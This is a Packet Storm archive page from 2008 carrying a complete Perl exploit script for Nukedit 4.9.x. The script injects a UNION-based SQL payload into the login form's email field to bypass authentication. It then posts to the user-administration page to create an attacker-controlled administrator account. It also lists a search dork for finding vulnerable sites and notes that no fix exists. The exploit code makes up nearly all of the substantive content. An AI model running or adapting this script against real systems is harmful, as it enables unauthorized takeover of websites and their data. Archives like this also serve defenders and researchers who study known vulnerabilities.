the internet's safety

nukeditadmin-sql.txt

nukeditadmin-sql.txt
Posted Feb 26, 2008
Authored by r3dm0v3 | Site r3dm0v3.persianblog.ir

Nukedit version 4.9.x remote create admin SQL injection exploit.

tags | exploit, remote, sql injection
MD5 | dadf6fde3e0b8263c3eb11bff2af6fb8

nukeditadmin-sql.txt

Change Mirror Download
#!/usr/bin/perl
###########################################################
#Title: Nukedit 4.9.x Create Admin Exploit #
# #
#Credit: r3dm0v3 #
# http://r3dm0v3.persianblog.ir #
# r3dm0v3[4t]yahoo[dot]com #
# Tehran - Iran #
# #
#Download: http://www.nukedit.com/content/Download.asp #
#Vulnerables: 4.9.x, prior versions maybe affected. #
#Remote: Yes #
#Dork: "Powered by Nukedit" #
#Fix: Not Available #
###########################################################

use LWP::UserAgent;
use HTTP::Cookies;


$host = $ARGV[0];
if (substr($host,length($host)-1,1) ne "/"){
$host.="/";
}
$usrmail = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;
$usrSQL= "' union select 1,1,'r3dm0v3',4,'ENCfc2aef9fe5f2c546429e2e1d9fd737e6da5b1b94707518619576129a915d0c2c',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tblusers where 'x'='x";


&Banner();
if (@ARGV < 3) {
&Usage();
exit(1);
}


print "[~] Host: $host \n";
print "[~] Email/Password: $usrmail/$passwd\n";
print "[~] Logging in...\n";


$xpl = LWP::UserAgent->new() || die;
$cookie_jar = HTTP::Cookies->new();

$xpl->cookie_jar( $cookie_jar );
$res = $xpl->post($url.'utilities/login.asp',
Content => [
"redir" => "/nukedit/default.asp",
"email" => "$usrSQL",
"password" => "r3dm0v3",
"savepassword" => "false",
"submit" => "Login",
],);



if ($res->content =~ /Object Moved/){
print "[+] Logged in\n";
}else{
print "[-] Can not login!\n";
exit();
}


print "[~] Creating Admin...\n";


$res = $xpl->post($url.'utilities/useradmin.asp',
Content => [
"action" => "addDB",
"username" => "r3dm0v3",
"company" => "red move",
"url" => "http://r3dm0v3.persianblog.ir",
"address" => "a",
"county" => "b",
"zip" => "666",
"country" => "Iran",
"phone" => "66666666",
"fax" => "12345678",
"email" => "$usrmail",
"password" => "$passwd",
"groupid" => "1",
"submit1" => "Add User >>",
"IP" => "127.0.0.2",
],);


if ($res->content =~ /Object Moved/){
print "[+] Admin added. Login info:\n".
" email: $usrmail\n".
" password: $passwd\n";
}else{
print "[-] Exploit failed!\n";
print $res->content;
}



sub Banner{
print "############################################################\n".
"# Nukedit 4.9.x Create Admin Exploit #\n".
"# by r3dm0v3 #\n".
"# r3dm0v3[4t]yahoo[.]com #\n".
"# http://r3dm0v3.persianblog.ir #\n".
"############################################################\n";
}


sub Usage(){
print "\n Usage: nukedit.pl <host&path> <email> <password>\n";
print " ex. : nukedit.pl site.com/nukedit/ myname\@somewhere.com 123456\n";
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close